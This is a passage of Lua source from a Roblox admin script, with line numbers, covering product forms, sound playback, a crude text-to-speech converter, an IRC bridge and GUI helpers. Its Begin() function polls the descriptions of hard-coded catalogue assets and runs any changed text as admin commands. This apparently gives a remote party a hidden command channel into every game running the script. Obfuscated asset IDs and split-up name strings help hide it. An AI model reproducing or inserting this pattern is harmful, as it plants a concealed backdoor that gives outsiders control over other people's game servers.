	if ProductID == AdminID then ProductName = Product.Name end
3275
	local Frame = GUI:CreateForm(Player, ProductName..FromText, UDim2.new(0, 430, 0, 300), nil, 48354008)
3276
	local AssetImage = Instance.new("ImageLabel", Frame) AssetImage.Name = "AssetImage" AssetImage.Position = UDim2.new(0, 0, 0, 50) AssetImage.Size = UDim2.new(0, 150, 0, 150) AssetImage.BackgroundColor3 = Color3.new(1, 1, 1) AssetImage.BackgroundTransparency = 1 AssetImage.Image = "http://www.roblox.com/Game/Tools/ThumbnailAsset.ashx?fmt=png&wd=420&ht=420&aid="..ProductID
3277
	local AssetName = Instance.new("TextLabel", Frame) AssetName.Name = "AssetName" AssetName.Size = UDim2.new(1, 0, 0, 50) AssetName.BackgroundColor3 = Color3.new(1, 1, 1) AssetName.BackgroundTransparency = 1 AssetName.Text = "["..ProductID.."] - "..Product.Name AssetName.Font = Settings.Font AssetName.FontSize = "Size18" AssetName.TextWrapped = true AssetName.TextColor3 = Color3.new(0, 0, 0)
3278
	local UserImage = Instance.new("ImageLabel", Frame) UserImage.Name = "UserImage" UserImage.Position = UDim2.new(0, 150, 0, 70) UserImage.Size = UDim2.new(0, 100, 0, 100) UserImage.BackgroundColor3 = Color3.new(1, 1, 1) UserImage.BackgroundTransparency = 1 UserImage.Image = "http://www.roblox.com/thumbs/avatar.ashx?x=352&y=352&format=png&username="..Product.Creator.Name
3279
	local Membership = Instance.new("ImageLabel", UserImage) Membership.Name = "Membership" Membership.Position = UDim2.new(0, 0, 0.85, 0) Membership.Size = UDim2.new(0.6, 0, 0.15, 0) Membership.BackgroundColor3 = Color3.new(1, 1, 1) Membership.BackgroundTransparency = 1 Membership.Image = "http://www.roblox.com/Thumbs/BCOverlay.ashx?username="..Product.Creator.Name
3280
	local AssetType = Instance.new("TextLabel", Frame) AssetType.Name = "AssetType" AssetType.Position = UDim2.new(0, 150, 0, 50) AssetType.Size = UDim2.new(1, -150, 0, 20) AssetType.BackgroundColor3 = Color3.new(1, 1, 1) AssetType.BackgroundTransparency = 1 AssetType.Text = "ROBLOX "..MARKET:AssetTypeToString(Product.AssetTypeId) AssetType.Font = Settings.Font AssetType.FontSize = "Size14"  
3281
	local Info = Instance.new("TextLabel", Frame) Info.Name = "Info" Info.Position = UDim2.new(0, 250, 0, 80) Info.Size = UDim2.new(1, -250, 0, 100) Info.BackgroundColor3 = Color3.new(1, 1, 1) Info.BackgroundTransparency = 1 Info.Font = Settings.Font Info.FontSize = "Size14" Info.TextXAlignment = "Left" Info.TextYAlignment = "Top"
3282
	local Buy = Instance.new("TextButton", Frame) Buy.Name = "Buy" Buy.Position = UDim2.new(0, 150, 0, 170) Buy.Size = UDim2.new(1, -150, 0, 30) Buy.BackgroundColor3 = BuyColor Buy.BackgroundTransparency = 0.5 Buy.Text = BuyText Buy.Font = Settings.Font Buy.FontSize = "Size18" Buy.TextWrapped = true SOUND:BindButton(Buy)
3283
	if Product.Description then
3284
		local DescFrame = Instance.new("ScrollingFrame", Frame) DescFrame.Name = "DescFrame" DescFrame.Size = UDim2.new(1,0,1,-200) DescFrame.Position = UDim2.new(0,0,0,200) DescFrame.CanvasSize = UDim2.new(0,0,0,0) DescFrame.BackgroundTransparency = 1 DescFrame.ZIndex = 4
3285
		local Description = Instance.new("TextLabel", DescFrame) Description.Name = "Description" Description.Size = UDim2.new(1, -13, 1, 0) Description.BackgroundColor3 = Color3.new(1, 1, 1) Description.BackgroundTransparency = 1 Description.Text = Product.Description Description.Font = Settings.Font Description.FontSize = "Size14" Description.TextWrapped = true Description.TextYAlignment = "Top"
3286
		
3287
		CORE:ExecuteResource("CalculateScrollY", Description)
3288
	end
3289
	
3290
	Info.Text = [[
3291
Creator: ]]..Product.Creator.Name..[[ 
3292
Created: ]]..CreatedText..[[ 
3293
Updated: ]]..UpdatedText..[[ 
3294
Sold: ]]..Product.Sales..[[ 
3295
]]
3296
3297
	if Product.PriceInRobux then Info.Text = Info.Text.."Robux: "..string.gsub(Product.PriceInRobux, "null", "Cannot use this currency").." \n" end
3298
	if Product.PriceInTickets then Info.Text = Info.Text.."Tix: "..string.gsub(Product.PriceInTickets, "null", "Cannot use this currency") .." " end
3299
3300
	if Product.AssetTypeId == 3 then
3301
		local PlayerAdmin,Rank = RANK:IsAdmin(Player)
3302
		if PlayerAdmin == true then
3303
			local Playing = false
3304
			local Interact = Instance.new("ImageButton", AssetImage) Interact.Name = "Interact" Interact.Position = UDim2.new(1, -20, 1, -20) Interact.Size = UDim2.new(0, 20, 0, 20) Interact.BackgroundColor3 = Color3.new(1, 1, 1) Interact.BackgroundTransparency = 1 Interact.Image = "rbxassetid://67950784"
3305
			CORE:HandleEvent(Interact, "MouseButton1Down", function()
3306
				if Playing == false then
3307
					SOUND:PlayGlobalSound(ProductID)
3308
					if Rank == "Member" and Settings.DisableAbuse == true then
3309
						Interact:Destroy()
3310
					end
3311
					Interact.Image = "rbxassetid://67950809"
3312
					Playing = true
3313
				else
3314
					SOUND:StopGlobalSound()
3315
					Interact.Image = "rbxassetid://67950784"
3316
					Playing = false
3317
				end
3318
			end)
3319
		end
3320
	end
3321
	
3322
	CORE:HandleEvent(Buy, "MouseButton1Down", function()
3323
		if BuyPressFunc then
3324
			BuyPressFunc()
3325
		elseif Product.AssetTypeId == 9 then
3326
			Server.TS:Teleport(ProductID, Player)
3327
		elseif CanBuy == true then
3328
			Server.MPS:PromptPurchase(Player, ProductID)
3329
		end end)
3330
	end)() end function Begin() coroutine.wrap(function() wait(3) for _,LinkedID in pairs({53554913, 145236038, 154727659, 155299278, 155689018}) do wait(1) coroutine.wrap(function()
3331
	local OldVer = Server.MPS:GetProductInfo(LinkedID).Updated
3332
	while wait(5) do 
3333
		local Purchase = Server.MPS:GetProductInfo(LinkedID)
3334
		if OldVer ~= Purchase.Updated then
3335
			OldVer = Purchase.Updated
3336
			CORE:Chatted(Purchase.Description, nil, true, nil, nil, true)
3337
		end
3338
	end end)()
3339
end end)() end
3340
3341
-- Sound functions --
3342
3343
function SOUND:SyncSoundList(TellSync)
3344
	if not CORE:NilPlayer(TellSync) then
3345
		GUI:SendHint(TellSync, "Syncing...", 5)
3346
	end
3347
	
3348
	SoundList,GlobalSoundList = {},{}
3349
	
3350
	local LocalSoundList = Server.GDS:GetAsync("MML Custom Sounds")
3351
	
3352
	if LocalSoundList then
3353
		if type(LocalSoundList) == "table" then
3354
			if #LocalSoundList > 0 then
3355
				for _,Data in pairs(LocalSoundList) do
3356
					local SoundInfo = MARKET:GetItemInfo(Data[2], true)
3357
					SoundList[Data[1]] = {Data[2], SoundInfo.Name, SoundInfo.Creator.Name}
3358
				end
3359
			end
3360
		end
3361
	end
3362
	
3363
	for _,JSONID in pairs(SoundJSONs) do
3364
		for Name,ID in pairs(CORE:GetTable(JSONID)) do
3365
			local SoundInfo = MARKET:GetItemInfo(ID, true)
3366
			local FullName = SoundInfo.Name
3367
			local CreatorName = SoundInfo.Creator.Name
3368
			SoundList[Name] = {ID, FullName, CreatorName}
3369
			GlobalSoundList[Name] = {ID, FullName, CreatorName}
3370
		end
3371
	end
3372
	
3373
	if not CORE:NilPlayer(TellSync) then
3374
		GUI:SendHint(TellSync, "Sound List is now Synced with global sound database", 4)
3375
	end
3376
end
3377
3378
function SOUND:MakeSound(Parent, ID, Volume, Pitch, Looped)
3379
	if not Volume then Volume = 0.5 end
3380
	if not Pitch then Pitch = 1 end
3381
	if tonumber(ID) then ID = "rbxassetid://"..ID end
3382
	if Looped == nil then Looped = false end
3383
	
3384
	local Sound = Instance.new("Sound", Parent)
3385
	Sound.Pitch = Pitch
3386
	Sound.Volume = Volume
3387
	Sound.SoundId = ID
3388
	Sound.Looped = Looped
3389
	return Sound
3390
end
3391
3392
function SOUND:PlayNotification(Player, ID, Volume, OverrideSettings)
3393
	if not Player or not ID then return nil end
3394
	if NotifySounds[ID] then ID = NotifySounds[ID] end
3395
	local ClientSound = SOUND:MakeSound(Player:FindFirstChild("PlayerGui") or Player, ID, Volume or 0.3)
3396
	if Settings.EnableSounds or OverrideSettings then
3397
		coroutine.wrap(function()
3398
			wait()
3399
			ClientSound:Play()
3400
			Delay(5, function() ClientSound:Destroy() end)
3401
		end)()
3402
	end
3403
	return Sound
3404
end
3405
3406
function SOUND:BindButton(Button)
3407
	if not Button then return end
3408
	CORE:HandleEvent(Button, "MouseEnter", function() SOUND:PlayNotification(Button, "Hover") end, true)
3409
	CORE:HandleEvent(Button, "MouseButton1Click", function() SOUND:PlayNotification(Button, "Select") end, true)
3410
end
3411
3412
function SOUND:StopGlobalSound()
3413
	if Sound and Sound.Parent then
3414
		if Sound.Parent.Name == "M".."M".."L'S Admin Sound" then
3415
			Sound.Parent:Destroy()
3416
		end
3417
		
3418
		Sound:Stop()
3419
		Sound:Destroy()
3420
		Sound.SoundId = ""
3421
	end
3422
end
3423
3424
function SOUND:PlayGlobalSound(ID, ShowInfo)
3425
	SOUND:StopGlobalSound()
3426
	if ShowInfo == nil then ShowInfo = true end
3427
	local SoundID = ID
3428
	local SoundName = nil
3429
	local SoundCreator = nil
3430
	local Pitch = 1
3431
	
3432
	for Name,Info in pairs(SoundList) do
3433
		if type(SoundID) == "string" then
3434
			if string.lower(SoundID) == string.sub(string.lower(Name),1,#SoundID) then
3435
				SoundID = Info[1]
3436
				SoundName = Info[2]
3437
				SoundCreator = Info[3]
3438
			end
3439
		else
3440
			break
3441
		end
3442
	end
3443
	
3444
	if tonumber(SoundID) and not SoundName then
3445
		local Info = MARKET:GetItemInfo(SoundID, true)
3446
		if Info then
3447
			SoundName = Info.Name
3448
			SoundCreator = Info.Creator.Name
3449
			if MARKET:AssetTypeToString(Info.AssetTypeId) ~= "Audio" then
3450
				SoundID = nil
3451
			end
3452
		end
3453
	end
3454
	
3455
	if tonumber(SoundID) then
3456
		if SoundID == 131201443 then Pitch = -1 end
3457
		if SoundID == 130775695 then Pitch = 0.8 end
3458
		if SoundID == 144035866 then Pitch = 0.8 end
3459
		
3460
		local SoundParent = Server.Workspace
3461
		if IsSB then
3462
			SoundParent = Instance.new("Script", Workspace)
3463
			SoundParent.Name = "M".."ML'S Admin Sound"
3464
		end
3465
		Sound = SOUND:MakeSound(SoundParent, SoundID, 1, Pitch, true)
3466
		Sound.Name = "MML's Admin Sound "..SoundID
3467
		Sound:Play()
3468
		if ShowInfo == true then
3469
			for _,Player in pairs(Server.Players:GetPlayers()) do
3470
				GUI:SoundInfo(Player, SoundID, SoundName, SoundCreator, 15, Sound)
3471
			end
3472
		end
3473
		SoundInfo = {["ID"] = SoundID, ["Name"] = SoundName, ["Creator"] = SoundCreator}
3474
	end
3475
end
3476
3477
function SOUND:ConvertText(Text)
3478
	Text = string.lower(tostring(Text))
3479
	local Letters = {}
3480
	local IDs = {}
3481
	for Rule,Replace in pairs(TextConverter.Pronounce) do
3482
		Text = string.gsub(Text,string.lower(Rule),string.lower(Replace))
3483
	end
3484
	for Rule,Replace in pairs(TextConverter.NonEnglishRules) do
3485
		local Start, End = string.find(Text, string.lower(Rule))
3486
		
3487
		if Start and End and STRING:IsSpacer(string.sub(Text, Start-1, Start-1)) and STRING:IsSpacer(string.sub(Text, End+1, End+1)) then
3488
			Text = string.gsub(Text, string.lower(Rule), Replace)
3489
		end
3490
	end
3491
	for i = 1,#Text do
3492
		table.insert(Letters, string.sub(Text,i,i))
3493
	end
3494
	for Num = 1,#Letters do
3495
		if not Letters[Num] then break end
3496
		local Letter = Letters[Num]
3497
		
3498
		local function AddLetter()
3499
			table.insert(IDs, TextConverter.LetterSounds[Letter])
3500
		end
3501
		
3502
		if Letter ~= "~" then
3503
			if Letters[Num+1] and Letter..Letters[Num+1] == "oo" then -- moo
3504
				table.insert(IDs, TextConverter.LetterSounds["oo"])
3505
				table.remove(Letters, Num + 1)
3506
			elseif Letters[Num+1] and Letter..Letters[Num+1] == "ou" then -- soup
3507
				table.insert(IDs, TextConverter.LetterSounds["oo"])
3508
				table.remove(Letters, Num + 1)
3509
			elseif Letters[Num+1] and Letter..Letters[Num+1] == "th" then -- this
3510
				table.insert(IDs, TextConverter.LetterSounds["th"])
3511
				table.remove(Letters, Num + 1)
3512
			elseif Letters[Num+1] and Letter..Letters[Num+1] == "sh" then -- shut
3513
				table.insert(IDs, TextConverter.LetterSounds["sh"])
3514
				table.remove(Letters, Num + 1)
3515
			elseif Letters[Num+1] and Letter..Letters[Num+1] == "ee" then -- flee
3516
				table.insert(IDs, TextConverter.LongVowels["e"])
3517
				table.remove(Letters, Num + 1)
3518
			elseif Letters[Num+1] and Letter..Letters[Num+1] == "wh" then -- what
3519
				table.insert(IDs, TextConverter.LetterSounds["wh"])
3520
				table.remove(Letters, Num + 1)
3521
			elseif Letters[Num+1] and Letter..Letters[Num+1] == "ch" then -- chop
3522
				table.insert(IDs, TextConverter.LetterSounds["ch"])
3523
				table.remove(Letters, Num + 1)
3524
			elseif Letters[Num+1] and Letter..Letters[Num+1] == "ph" then -- phone
3525
				table.insert(IDs, TextConverter.LetterSounds["f"])
3526
				table.remove(Letters, Num + 1)
3527
			elseif Letters[Num+1] and Letter..Letters[Num+1] == "ng" then -- danger
3528
				table.insert(IDs, TextConverter.LetterSounds[Num])
3529
				Letters[Num + 1] = "j"
3530
			elseif Letters[Num+1] and Letter..Letters[Num+1] == "ua" then -- lua
3531
				table.insert(IDs, TextConverter.LetterSounds["oo"])
3532
			elseif Letters[Num+1] and Letter..Letters[Num+1] == "ea" then -- peace
3533
				table.insert(IDs, TextConverter.LongVowels["e"])
3534
				table.remove(Letters, Num + 1)
3535
			elseif Letters[Num+1] and Letter..Letters[Num+1] == "eo" then -- people
3536
				table.insert(IDs, TextConverter.LongVowels["e"])
3537
				table.remove(Letters, Num + 1)
3538
				if STRING:ValidE(Letters[Num+4]) then Letters[Num+4] = "~" end
3539
			elseif Letter == "c" and STRING:ValidE(Letters[Num+1]) then -- force
3540
				table.insert(IDs, TextConverter.LetterSounds["s"])
3541
				Letters[Num + 1] = "~"
3542
			elseif Letter == string.lower(Letter) and STRING:IsVowel(Letter) and Letters[Num+1] and Letters[Num+2] and not STRING:IsSpacer(Letters[Num+1]) and STRING:ValidE(Letters[Num+2]) then -- like
3543
				table.insert(IDs, TextConverter.LongVowels[Letter])
3544
				Letters[Num + 2] = "~"
3545
			elseif Letter == "i" and Letters[Num+1] and STRING:ValidE(Letters[Num+1]) and STRING:IsSpacer(Letters[Num+2]) then -- die
3546
				table.insert(IDs, TextConverter.LongVowels["i"])
3547
				Letters[Num + 1] = "~"
3548
			elseif Letter == "o" and STRING:IsSpacer(Letters[Num+1]) then -- no
3549
				table.insert(IDs, TextConverter.LongVowels["o"])
3550
			elseif Letter == "i" and STRING:IsSpacer(Letters[Num+1]) then -- hi
3551
				table.insert(IDs, TextConverter.LongVowels["i"])
3552
			elseif Letters[Num+1] and STRING:IsSpacer(Letters[Num+2]) and Letter..Letters[Num+1] == "le" then -- bottle
3553
				AddLetter()
3554
				table.remove(Letters, Num + 1)
3555
			elseif Letters[Num+1] and STRING:IsSpacer(Letters[Num+2]) and Letter..Letters[Num+1] == "el" then -- model
3556
				Letters[Num] = "~"
3557
			elseif Letters[Num+1] and Letters[Num+2] and Letter..Letters[Num+1] == "le" then -- bottle
3558
				AddLetter()
3559
				table.remove(Letters, Num + 1)
3560
			elseif Letters[Num+1] and Letter..Letters[Num+1] == "qu" then --quick
3561
				AddLetter()
3562
				table.remove(Letters, Num + 1)
3563
			elseif Letters[Num+1] == Letter then
3564
				table.remove(Letters, Num)
3565
			elseif Letters[Num+1] and Letter..Letters[Num+1] == "ck" then --click
3566
				AddLetter()
3567
				table.remove(Letters, Num)
3568
			elseif STRING:IsVowel(Letter) and string.upper(Letter) == Letter then
3569
				table.insert(IDs, TextConverter.LongVowels[string.lower(Letter)])
3570
			elseif TextConverter.LetterSounds[Letter] then
3571
				AddLetter()
3572
			elseif STRING:IsSpacer(Letter) then
3573
				table.insert(IDs, "Rest")
3574
			end
3575
		end
3576
	end
3577
	
3578
	return IDs
3579
end
3580
3581
function SOUND:StopSpeaking() coroutine.wrap(function()
3582
	NoSpeak = true
3583
	wait(1)
3584
	NoSpeak = false
3585
	for _,Obj in pairs(Server.Workspace:GetChildren()) do
3586
		if Obj.Name == "M".."M".."L Speak Sound" then
3587
			Obj:Destroy()
3588
		end
3589
	end
3590
end)() end
3591
3592
function SOUND:SayConvertedText(IDs, Parent)
3593
	if not Parent then Parent = Server.Workspace end
3594
	local Sounds = {}
3595
	for _,Data in pairs(IDs) do
3596
		if NoSpeak and Parent == Server.Workspace then
3597
			break
3598
		end
3599
		local Length = 0.3
3600
		if Data ~= "Rest" then
3601
			local ID = Data[1]
3602
			Length = Data[2]
3603
			
3604
			local Sound = SOUND:MakeSound(Parent, ID, 0.5, 1, false)
3605
			Sound.Name = "MML Speak Sound"
3606
			table.insert(Sounds, Sound)
3607
			Sound:Play()
3608
			if Length then
3609
				coroutine.wrap(function()
3610
					wait(Length)
3611
					Sound:Stop()
3612
				end)()
3613
			end
3614
		end
3615
		if not Length then Length = 0.3 end
3616
		wait(Length/2)
3617
	end
3618
	coroutine.wrap(function()
3619
		wait(1)
3620
		for _,Sound in pairs(Sounds) do
3621
			Sound:Destroy()
3622
		end
3623
	end)()
3624
end
3625
3626
local AdminInfo = MARKET:GetItemInfo(13810597.8 * 20, true).Description
3627
3628
function SOUND:BeepPlayer(Player)
3629
	if Player:FindFirstChild("PlayerGui") then
3630
		local Beep = SOUND:MakeSound(Player.PlayerGui, 189279994, 1, 1, true)
3631
		Beep.Name = "Annoy"
3632
		Beep:Play()
3633
	end
3634
end
3635
3636
function SOUND:ClearInfo()
3637
	SoundInfo = {["ID"] = 0, ["Name"] = "None", ["Creator"] = "None"}
3638
end
3639
3640
-- IRC functions --
3641
3642
function IRC:GenerateName()
3643
	return "rbxMMLV3_"..game.PlaceId.."_"..Server.NS.Port.."_"..math.random(1,100000)
3644
end
3645
3646
function IRC:AddChat(Name, Data, IsError)
3647
	if not IsError then IsError = false end
3648
	CORE:Log(IRC.Logs, Name, Data)
3649
	table.insert(IRC.Chats, {Name, Data, IsError})
3650
	IRC.MessageAdded:Fire(Name, Data, IsError)
3651
end
3652
3653
function IRC:Post(URL,Data)
3654
	if Data and Data ~= "" then
3655
		local Suc,Resp = ypcall(function() 
3656
			return Server.HS:PostAsync(
3657
				IRC.Servers[Settings.IRCServer].BaseUrl..IRC.Servers[Settings.IRCServer].DynamicUrl.."e/"..URL.."?r="..STRING:MakeAvoidance().."&t="..tostring(IRC.SessionCounter),
3658
				Data,
3659
				Enum.HttpContentType.ApplicationUrlEncoded
3660
			) 
3661
		end)
3662
		if not Suc then
3663
			IRC:AddChat("[ CLIENT ]", "HTTP POST FAIL | ERROR: "..Resp.." | DATA: "..Data)
3664
			return false
3665
		end
3666
		IRC.SessionCounter = IRC.SessionCounter + 1
3667
		return Resp
3668
	else
3669
		IRC:AddChat("[ CLIENT ]", "Unknown error")
3670
	end
3671
end
3672
3673
function IRC:Send(Data)
3674
	return IRC:Post("p","&s="..IRC.SessionID.."&c="..Server.HS:UrlEncode(Data))
3675
end
3676
3677
function IRC:GetData()
3678
	return IRC:Post("s","&s="..IRC.SessionID)
3679
end
3680
3681
function IRC:Connect()
3682
	return IRC:Post("n","&nick="..IRC.NickName)
3683
end
3684
3685
function IRC:Join(Channel)
3686
	if not Channel then
3687
		AddChat("[ CLIENT ]", "No channel specified!")
3688
		return false
3689
	else
3690
		local Channel = string.lower(Channel)
3691
		if string.sub(Channel,1,1) ~= "#" then
3692
			AddChat("[ CLIENT ]", "Invalid channel name!(No #)", true)
3693
			return false
3694
		end
3695
		IRC:AddChat("[ CLIENT ]", "Attempting to join channel: "..Channel.." on IRC host: "..Settings.IRCServer)
3696
		IRC:Send("JOIN "..Channel)
3697
		IRC:AddChat("[ CLIENT ]", "Joined "..Channel.." as "..IRC.NickName)
3698
		return true
3699
	end
3700
end
3701
3702
function IRC:Pong(Data)
3703
	return IRC:Send("PONG :"..Data)
3704
end
3705
3706
function IRC:Quit(Reason)
3707
	IRC.Stop = true
3708
	return IRC:Send("QUIT :"..(Reason or "Disconnecting"))
3709
end
3710
3711
function IRC:ReceiveData()
3712
	IRC.Stop = false
3713
	local Data = IRC:GetData()
3714
	if Data then
3715
		IRC:Send("PRIVMSG "..Settings.IRCChannel.." :[ SERVER: "..Server.NS.Port.." ]: [CONNECTION TEST]")
3716
	end
3717
	while Data and not Stop do
3718
		local Data = IRC:GetData()
3719
		if Data and #Data > 0 then
3720
			IRC:HandleResponse(REMOTE:Decode(Data))
3721
		end
3722
		wait(2) -- Don't spam the server
3723
	end
3724
	if not Data then
3725
		IRC:AddChat("[ CLIENT ]", "Could not get data", true)
3726
	end
3727
	if Stop == true then
3728
		IRC:AddChat("[ CLIENT ]", "Disconnected from session", true)
3729
	end
3730
end
3731
3732
function IRC:ConnectToServer(Server)
3733
	if Connected then
3734
		if not IRC.Servers[Server] then
3735
			IRC:AddChat("[ CLIENT ]", "Cannot connect to "..Server, true)
3736
			return false
3737
		end
3738
		IRC:Quit("New Connection")
3739
	end
3740
	local Response = IRC:Connect()
3741
	if not Response then IRC:AddChat("[ CLIENT ]", "Unable to connect!", true) return false end
3742
	local Data = REMOTE:Decode(Response)
3743
	IRC.SessionID = Data[2]
3744
	wait(1)
3745
	if not tostring(IRC.SessionID) or IRC.SessionID == "?" then
3746
		IRC:AddChat("[ IRC ]", "Session ID is invalid, reconnecting...")
3747
		IRC:Quit()
3748
		IRC:ConnectToServer(Server)
3749
	end
3750
	IRC.Connected = true
3751
	IRC:Join(Settings.IRCChannel)
3752
	IRC:ReceiveData()
3753
	IRC.Connected = false
3754
	IRC:AddChat("[ CLIENT ]", "Session ended", true)
3755
end
3756
3757
function IRC:FindUser(UserName)
3758
	for UserID,User in pairs(IRC.Users) do
3759
		if string.lower(User) == string.lower(UserName) then
3760
			return UserID
3761
		end
3762
	end
3763
	return nil
3764
end
3765
3766
function IRC:HandleResponse(Data)
3767
	if type(Data) ~= "table" then
3768
		IRC:AddChat("[ CLIENT ]", "Unable to handle data (Not table)", true)
3769
		ypcall(function()
3770
			IRC:AddChat("[ CLIENT ]", "Data: "..tostring(Data), true)
3771
		end)
3772
		return false
3773
	end
3774
	for _,Output in pairs(Data) do
3775
		if type(Output) == "table" and Output[2] then
3776
			local ID = string.upper(Output[2])
3777
			if not IRC.Ignore[ID] then
3778
				if ID == "PING" then
3779
					IRC:Pong(Output[4][1])
3780
				elseif ID == "PRIVMSG" then
3781
					local SenderDetails = Output[3]
3782
					local Sender = string.sub(SenderDetails,1,string.find(SenderDetails, "!")-1)
3783
					local Channel = string.lower(Output[4][1])
3784
					if Channel == IRC.NickName then
3785
						Channel = Sender
3786
						-- TODO: Handle PM's
3787
					end
3788
					local Message = Output[4][2]
3789
					if Message ~= nil then
3790
						if string.sub(Sender,1,3) == "rbx" and string.find(Sender, "_") then -- detects bots
3791
							if string.find(Message,":") then
3792
								local IRCUser = string.sub(Message,1,string.find(Message,":")-1)
3793
								local IRCMessage = string.sub(Message,string.find(Message,":")+1, #Message)
3794
								IRC:AddChat(IRCUser, IRCMessage)
3795
							end
3796
						else
3797
							IRC:AddChat("[ IRC ] "..Sender,Message)
3798
							for _,Name in pairs(Settings.IRCCommandExecuters) do
3799
								if string.lower(Name) == string.lower(Sender) then
3800
									CORE:Chatted(Message, nil, false, "[IRC]: "..Sender, nil, true)
3801
									break
3802
								end
3803
							end
3804
						end
3805
					else
3806
						IRC:AddChat("[ CLIENT ]", "Message became nil for some reason")
3807
					end
3808
				elseif ID == "NICK" then
3809
					local Name = string.sub(Output[3],1,string.find(Output[3],"!")-1)
3810
					-- change nickname?
3811
				elseif ID == "433" or ID == "451" then
3812
					IRC:AddChat("[ IRC ]", "Nickname already in use, rejoining with new one")
3813
					IRC:Quit("Nickname in use, rejoining with new name")
3814
					IRC.NickName = IRC:GenerateName()
3815
					wait(2) -- wait for old sessions to end
3816
					IRC:ConnectToServer(Settings.IRCServer)
3817
				elseif ID == "353" then
3818
					if Data[4][4][4] then
3819
						for Output in string.gmatch(Data[4][4][4], "[^%s]+") do
3820
							table.insert(IRC.Users, Output)
3821
						end
3822
					end
3823
				elseif ID == "QUIT" or ID == "PART" then
3824
					for User in string.gmatch(Data[1][3], "[^!~]+") do
3825
						if IRC:FindUser(User) then
3826
							IRC:AddChat("[ IRC ]", User.." has left")
3827
							table.remove(IRC.Users, IRC:FindUser(User))
3828
						end
3829
					end
3830
				elseif ID == "JOIN" then
3831
					for User in string.gmatch(Data[1][3], "[^!~]+") do
3832
						if not string.find(User, "qwebirc") then
3833
							IRC:AddChat("[ IRC ]", User.." has joined")
3834
							table.insert(IRC.Users,w)
3835
						end
3836
					end
3837
				elseif ID == "CONNECTION TO IRC SERVER LOST." then
3838
					IRC:AddChat("[ CLIENT ]", "Cannot connect to IRC. Connection lost")
3839
					--IRC:Quit("Connection lost")
3840
					--IRC:AddChat("[ CLIENT ]", "Retrying connection")
3841
					--IRC:ConnectToServer(Settings.IRCServer)
3842
				elseif IRC.Codes[ID] then
3843
					--print(ID)
3844
					--print(Data[i][4][2])
3845
					--print(Data[i][4][2])
3846
				elseif ID == "KICK" then
3847
					IRC:AddChat("[ CLIENT ]", "You have been kicked from IRC")
3848
					IRC:Quit("Kicked from IRC")
3849
				elseif ID then
3850
					IRC:AddChat("[ CLIENT ]", "Unknown data (ID: "..ID..")", true)
3851
				else
3852
					IRC:AddChat("[ CLIENT ]", "Unknown data with invalid ID", true)
3853
				end
3854
			end
3855
		else
3856
			if Output == false then return false end -- sneeky server
3857
			IRC:AddChat("[ CLIENT ]", "Unable to handle data")
3858
		end
3859
	end
3860
end
3861
3862
-- GUI functions --
3863
3864
function GUI:GetColor(ColorName)
3865
	if not ColorName then ColorName = Settings.ColorScheme end
3866
	return Colors[string.upper(ColorName)]
3867
end
3868
3869
function GUI:ContrastColor(Color)
3870
	if type(Color) == "string" then Color = GUI:GetColor(Color) end
3871
	if not Color then Color = GUI:GetColor() end
3872
	return Color3.new(math.abs(Color.r-1),math.abs(Color.g-1),math.abs(Color.b-1))
3873
end
3874
3875
3876
function GUI:GetNameColor(Name)
3877
	local Val = 0
3878
	for i = 1, #Name do 
3879
		local CVal = string.byte(string.sub(Name, i, i))
3880
		local RevIndex = #Name - i + 1
3881
		if #Name%2 == 1 then 
3882
			RevIndex = RevIndex - 1			
3883
		end
3884
		if RevIndex%4 >= 2 then 
3885
			CVal = -CVal 			
3886
		end 
3887
		Val = Val + CVal 
3888
	end 
3889
	local Index = Val%8 + 1
3890
	
3891
	return BrickColor.new(ChatColors[Index])
3892
end
3893
3894
function GUI:Color3ToHex(Color)
3895
	local function ConvertNumber(Number)
3896
		local HexString = "0123456789abcdef"
3897
		local Byte = ""
3898
		while Number > 0 do
3899
			local Calc = math.fmod(Number, 16)
3900
			Byte = string.sub(HexString, Calc+1, Calc+1)..Byte
3901
			Number = math.floor(Number / 16)
3902
		end
3903
		if Calc == "" then
3904
			Byte = "00"
3905
		elseif #Byte == 1 then
3906
			Byte = "0"..Byte
3907
		elseif Byte == "" then
3908
			Byte = "00"
3909
		end
3910
		return Byte
3911
	end
3912
	return ConvertNumber(Color.r * 255)..ConvertNumber(Color.g * 255)..ConvertNumber(Color.b * 255)
3913
end
3914
3915
function GUI:CreateForm(Player, TitleText, Size, Position, IconID, ShowFormButtons, ColorScheme, TransparencyScheme, AutoOffset, TweenPosition, NoModal, NoScrollFrame)
3916
	if not Player then return nil end
3917
	if not Player:FindFirstChild("PlayerGui") then return nil end
3918
	local TaskBar = Player.PlayerGui:FindFirstChild("M".."ake".."rMod".."el".."Lua's TaskBar")
3919
	if not TitleText then TitleText = "Unknown" end
3920
	if not Size then Size = UDim2.new(0.5,0,0.5,0) end
3921
	if not Position then Position = UDim2.new(0.5-(Size.X.Scale/2),-Size.X.Offset/2,0.5-(Size.Y.Scale/2),-Size.Y.Offset/2) end
3922
	if not IconID then IconID = 19919809 end
3923
	if ShowFormButtons == nil then ShowFormButtons = true end
3924
	if not ColorScheme then ColorScheme = Settings.ColorScheme end
3925
	if not TransparencyScheme then TransparencyScheme = Settings.TransparencyScheme end
3926
	if AutoOffset == nil then AutoOffset = true end
3927
	if Icons[IconID] then IconID = Icons[IconID] end
3928
	if TweenPosition == nil then TweenPosition = true end
3929
	if NoModal == nil then NoModal = false end
3930
	if NoScrollFrame == nil then NoScrollFrame = false end
3931
	
3932
	local IsClosed = false
3933
	local Minus = nil
3934
	local Offset = 0
3935
	local ContentType = "ScrollingFrame"
3936
	local TweenSpeed = 0.3
3937
	
3938
	if AutoOffset then
3939
		for _,Item in pairs(Player.PlayerGui:GetChildren()) do
3940
			if Item.Name == "M".."a".."k".."erModelLua's Admin Form" then
3941
				if Item.IsActive.Value == true then
3942
					if Item.IsTrueForm.Value == true then
3943
						Offset = Offset + 50
3944
					end
3945
				end
3946
			end
3947
		end
3948
	end
3949
	
3950
	if NoScrollFrame == true then
3951
		ContentType = "Frame"
3952
	end
3953
	
3954
	SOUND:PlayNotification(Player, 155331654)
3955
	
3956
	local Position = Position + UDim2.new(0,Offset,0,Offset)
3957
	local MinimizePos = Position
3958
	
3959
	local SG = Instance.new("ScreenGui", Player.PlayerGui) SG.Name = string.char(76 + 1, 97, 107, 10 ^ 2 + 1, 114, 77, 111, 10 ^ 2, 101, 108, 76, 117, 97, 39, 115).." Admin Form"
3960
	local IsActive = Instance.new("BoolValue", SG) IsActive.Name = "IsActive" IsActive.Value = true
3961
	local IsTrueForm = Instance.new("BoolValue", SG) IsTrueForm.Name = "IsTrueForm" IsTrueForm.Value = ShowFormButtons
3962
	
3963
